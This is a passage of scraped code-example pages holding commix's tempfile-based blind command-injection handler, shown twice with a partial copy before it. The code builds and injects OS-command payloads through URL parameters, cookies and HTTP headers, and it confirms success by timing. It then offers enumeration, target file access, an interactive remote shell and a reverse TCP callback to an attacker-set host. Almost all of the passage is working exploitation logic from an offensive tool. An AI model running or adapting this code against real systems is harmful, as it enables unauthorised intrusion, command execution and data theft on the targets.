            print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              shell = ""
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level)
              #possibly_vulnerable = False
            else:
              settings.LOAD_SESSION = False 
              
            # Delete previous shell (text) files (output) from temp.
            delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)  
            if settings.TARGET_OS == "win":
              time.sleep(1)
            
            new_line = False  
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  new_line = True
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)    
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                file_access_again = sys.stdin.readline().replace("\n","").lower()
                if file_access_again in settings.CHOICE_YES:
                  tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  if not new_line:
                    new_line = True
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again = "enter"
                  err_msg = "'" + file_access_again + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              # if not menu.enumeration_options() and not menu.options.os_cmd:
              #   print ""
              tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
            
            # Check if defined single cmd.
            if menu.options.os_cmd:
              check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
              # Export injection result
              tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              sys.exit(0)  

            if not new_line :
              print ""

            try:    
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                if go_back == True:
                  break
                question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
                if gotshell in settings.CHOICE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    if false_positive_warning:
                      warn_msg = "Due to unexpected time delays, it is highly "
                      warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      false_positive_warning = False
                    try:
                      # Tab compliter
                      if not readline_error:
                        readline.set_completer(menu.tab_completer)
                        # MacOSX tab compliter
                        if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                          readline.parse_and_bind("bind ^I rl_complete")
                        # Unix tab compliter
                        else:
                          readline.parse_and_bind("tab: complete")
                      cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                        if os_shell_option == False:
                          if no_result == True:
                            return False
                          else:
                            return True 
                        elif os_shell_option == "quit":  
                          # Delete previous shell (text) files (output) from temp.
                          delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)                          
                          sys.exit(0)
                        elif os_shell_option == "back":
                          go_back = True
                          break
                        elif os_shell_option == "os_shell": 
                            warn_msg = "You are already into an 'os_shell' mode."
                            print settings.print_warning_msg(warn_msg)+ "\n"
                        elif os_shell_option == "reverse_tcp":
                          settings.REVERSE_TCP = True
                          # Set up LHOST / LPORT for The reverse TCP connection.
                          reverse_tcp.configure_reverse_tcp()
                          if settings.REVERSE_TCP == False:
                            continue
                          while True:
                            if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                              result = checks.check_reverse_tcp_options(settings.LHOST)
                            else:  
                              cmd = reverse_tcp.reverse_tcp_options()
                              result = checks.check_reverse_tcp_options(cmd)
                            if result != None:
                              if result == 0:
                                return False
                              elif result == 1 or result == 2:
                                go_back_again = True
                                settings.REVERSE_TCP = False
                                break
                            # Command execution results.
                            from src.core.injections.results_based.techniques.classic import cb_injector
                            separator = checks.time_based_separators(separator, http_request_method)
                            whitespace = settings.WHITESPACE[0]
                            response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                            # Evaluate injection results.
                            shell = cb_injector.injection_results(response, TAG, cmd)
                            if settings.VERBOSITY_LEVEL >= 1:
                              print ""
                            err_msg = "The reverse TCP connection has failed!"
                            print settings.print_critical_msg(err_msg)
                        else:
                          pass
                      else:
                        print ""
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # The main command injection exploitation.
                        check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                        # Export injection result
                        tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, output, vuln_parameter)
                      else:
                        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                        print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
                          
                    except KeyboardInterrupt: 
                      # Delete previous shell (text) files (output) from temp.
                      delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      raise
                    except SystemExit: 
                      # Delete previous shell (text) files (output) from temp.
                      delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      raise
                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      # Delete previous shell (text) files (output) from temp.
                      delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      return True  
                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if gotshell == "":
                    gotshell = "enter"
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            except KeyboardInterrupt: 
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise  

            except SystemExit: 
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise 

  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 31
0
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):

  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  possibly_vulnerable = False
  false_positive_warning = False
  how_long_statistic = []
  export_injection_info = False
  how_long = 0
  injection_type = "semi-blind command injection"
  technique = "tempfile-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    err_msg = "The '--url-reload' option is not available in " + technique + "!"
    print settings.print_critical_msg(err_msg)

  whitespace = checks.check_whitespaces()
  if settings.VERBOSITY_LEVEL >= 1:
    info_msg ="Testing the " + technique + "... "
    print settings.print_info_msg(info_msg)

  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
    
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:

        if settings.LOAD_SESSION:
          cmd = shell = ""
          url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
          checks.check_for_stored_tamper(payload)
          settings.FOUND_HOW_LONG = how_long
          settings.FOUND_DIFF = how_long - delay
          OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
          
        else:
          num_of_chars = num_of_chars + 1
          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""

          # Change TAG on every request to prevent false-positive resutls.
          TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))  

          # The output file for file-based injection technique.
          OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
          alter_shell = menu.options.alter_shell
          tag_length = len(TAG) + 4
          
          for output_length in range(1, int(tag_length)):
            try:
              # Tempfile-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
              else:
                payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)

              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)
              
              # Encode payload to Base64
              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)
                  
              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
                
              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)

              # Statistical analysis in time responses.
              how_long_statistic.append(how_long)

              # Injection percentage calculation
              percent = ((num_of_chars * 100) / total)
              float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))

              if percent == 100 and no_result == True:
                if not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                else:
                  percent = ""
              else:
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                  # Time relative false positive fixation.
                  false_positive_fixation = False
                  if len(TAG) == output_length:

                    # Simple statical analysis
                    statistical_anomaly = True
                    if len(set(how_long_statistic[0:5])) == 1:
                      if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
                        statistical_anomaly = False
                        how_long_statistic = []  

                    if delay <= how_long and not statistical_anomaly:
                      false_positive_fixation = True
                    else:
                      false_positive_warning = True

                  # Identified false positive warning message.
                  if false_positive_warning:
                    warn_msg = "Unexpected time delays have been identified due to unstable "
                    warn_msg += "requests. This behavior may lead to false-positive results.\n"
                    sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                    while True:
                      question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
                      sys.stdout.write(settings.print_question_msg(question_msg))
                      proceed_option = sys.stdin.readline().replace("\n","").lower()
                      if proceed_option.lower() in settings.CHOICE_PROCEED :
                        if proceed_option.lower() == "s":
                          false_positive_fixation = False
                          raise
                        elif proceed_option.lower() == "c":
                          delay = delay + 1
                          false_positive_fixation = True
                          break
                        elif proceed_option.lower() == "q":
                          raise SystemExit()
                      else:
                        if proceed_option == "":
                          proceed_option = "enter"
                        err_msg = "'" + proceed_option + "' is not a valid answer."
                        print settings.print_error_msg(err_msg)
                        pass

                  # Check if false positive fixation is True.
                  if false_positive_fixation:
                    false_positive_fixation = False
                    settings.FOUND_HOW_LONG = how_long
                    settings.FOUND_DIFF = how_long - delay
                    if false_positive_warning:
                      time.sleep(1)
                    randv1 = random.randrange(0, 1)
                    randv2 = random.randrange(1, 2)
                    randvcalc = randv1 + randv2

                    if settings.TARGET_OS == "win":
                      if alter_shell:
                        cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
                      else:
                        cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
                    else:
                      cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"

                    # Check for false positive resutls
                    how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)

                    if (url_time_response == 0 and (how_long - delay) >= 0) or \
                       (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                       (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
                      
                      if str(output) == str(randvcalc) and len(TAG) == output_length:
                        possibly_vulnerable = True
                        how_long_statistic = 0
                        if not settings.VERBOSITY_LEVEL >= 1:
                          percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                          percent = ""
                        #break  
                    else:
                      break
                  # False positive
                  else:
                    if not settings.VERBOSITY_LEVEL >= 1:
                      percent = str(float_percent)+ "%"
                      info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                      sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                      sys.stdout.flush()
                    continue    
                else:
                  if not settings.VERBOSITY_LEVEL >= 1:
                    percent = str(float_percent)+ "%"
                    info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                    sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                    sys.stdout.flush()
                  continue
              if not settings.VERBOSITY_LEVEL >= 1:
                info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              if 'cmd' in locals():
                # Delete previous shell (text) files (output) from temp.
                delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except:
              percent = ((num_of_chars * 100) / total)
              float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
              if str(float_percent) == "100.0":
                if no_result == True:
                  if not settings.VERBOSITY_LEVEL >= 1:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                    info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                    sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                    sys.stdout.flush()
                  else:
                    percent = ""
                else:
                  percent = str(float_percent) + "%"
                #Print logs notification message
                #percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
                info_msg =  "Testing the " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                sys.stdout.flush()
                print ""
                logs.logs_notification(filename)
                raise
              else:
                percent = str(float_percent) + "%"
            break
        # Yaw, got shellz! 
        # Do some magic tricks!
        if (url_time_response == 0 and (how_long - delay) >= 0) or \
           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

          if (len(TAG) == output_length) and \
             (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):

            found = True
            no_result = False

            if settings.LOAD_SESSION:
              possibly_vulnerable = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The"
            if found_vuln_parameter == " ": 
              success_msg += http_request_method + "" 
            success_msg += the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              shell = ""
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level)
              #possibly_vulnerable = False
            else:
              settings.LOAD_SESSION = False 
              
            # Delete previous shell (text) files (output) from temp.
            delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)  
            if settings.TARGET_OS == "win":
              time.sleep(1)
            
            new_line = False  
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  new_line = True
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)    
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                file_access_again = sys.stdin.readline().replace("\n","").lower()
                if file_access_again in settings.CHOICE_YES:
                  tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  if not new_line:
                    new_line = True
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again = "enter"
                  err_msg = "'" + file_access_again + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              # if not menu.enumeration_options() and not menu.options.os_cmd:
              #   print ""
              tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
            
            # Check if defined single cmd.
            if menu.options.os_cmd:
              check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
              # Export injection result
              tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              sys.exit(0)  

            if not new_line :
              print ""

            try:    
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                if go_back == True:
                  break
                question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
                if gotshell in settings.CHOICE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    if false_positive_warning:
                      warn_msg = "Due to unexpected time delays, it is highly "
                      warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      false_positive_warning = False
                    try:
                      # Tab compliter
                      if not readline_error:
                        readline.set_completer(menu.tab_completer)
                        # MacOSX tab compliter
                        if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                          readline.parse_and_bind("bind ^I rl_complete")
                        # Unix tab compliter
                        else:
                          readline.parse_and_bind("tab: complete")
                      cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                      cmd = checks.escaped_cmd(cmd)
                      if cmd.lower() in settings.SHELL_OPTIONS:
                        os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                        if os_shell_option == False:
                          if no_result == True:
                            return False
                          else:
                            return True 
                        elif os_shell_option == "quit":  
                          # Delete previous shell (text) files (output) from temp.
                          delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)                          
                          sys.exit(0)
                        elif os_shell_option == "back":
                          go_back = True
                          break
                        elif os_shell_option == "os_shell": 
                            warn_msg = "You are already into an 'os_shell' mode."
                            print settings.print_warning_msg(warn_msg)+ "\n"
                        elif os_shell_option == "reverse_tcp":
                          settings.REVERSE_TCP = True
                          # Set up LHOST / LPORT for The reverse TCP connection.
                          reverse_tcp.configure_reverse_tcp()
                          if settings.REVERSE_TCP == False:
                            continue
                          while True:
                            if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                              result = checks.check_reverse_tcp_options(settings.LHOST)
                            else:  
                              cmd = reverse_tcp.reverse_tcp_options()
                              result = checks.check_reverse_tcp_options(cmd)
                            if result != None:
                              if result == 0:
                                return False
                              elif result == 1 or result == 2:
                                go_back_again = True
                                settings.REVERSE_TCP = False
                                break
                            # Command execution results.
                            from src.core.injections.results_based.techniques.classic import cb_injector
                            separator = checks.time_based_separators(separator, http_request_method)
                            whitespace = settings.WHITESPACE[0]
                            response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                            # Evaluate injection results.
                            shell = cb_injector.injection_results(response, TAG, cmd)
                            if settings.VERBOSITY_LEVEL >= 1:
                              print ""
                            err_msg = "The reverse TCP connection has been failed!"
                            print settings.print_critical_msg(err_msg)
                        else:
                          pass
                      else:
                        print ""
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # The main command injection exploitation.
                        check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
                        # Export injection result
                        tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, output, vuln_parameter)
                      else:
                        output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                        print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
                          
                    except KeyboardInterrupt: 
                      # Delete previous shell (text) files (output) from temp.
                      delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      raise
                    except SystemExit: 
                      # Delete previous shell (text) files (output) from temp.
                      delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      raise
                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      # Delete previous shell (text) files (output) from temp.
                      delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      return True  
                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output) from temp.
                  delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if gotshell == "":
                    gotshell = "enter"
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
            except KeyboardInterrupt: 
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise  

            except SystemExit: 
              # Delete previous shell (text) files (output) from temp.
              delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise 

  if no_result == True:
    print ""
    return False

  else :
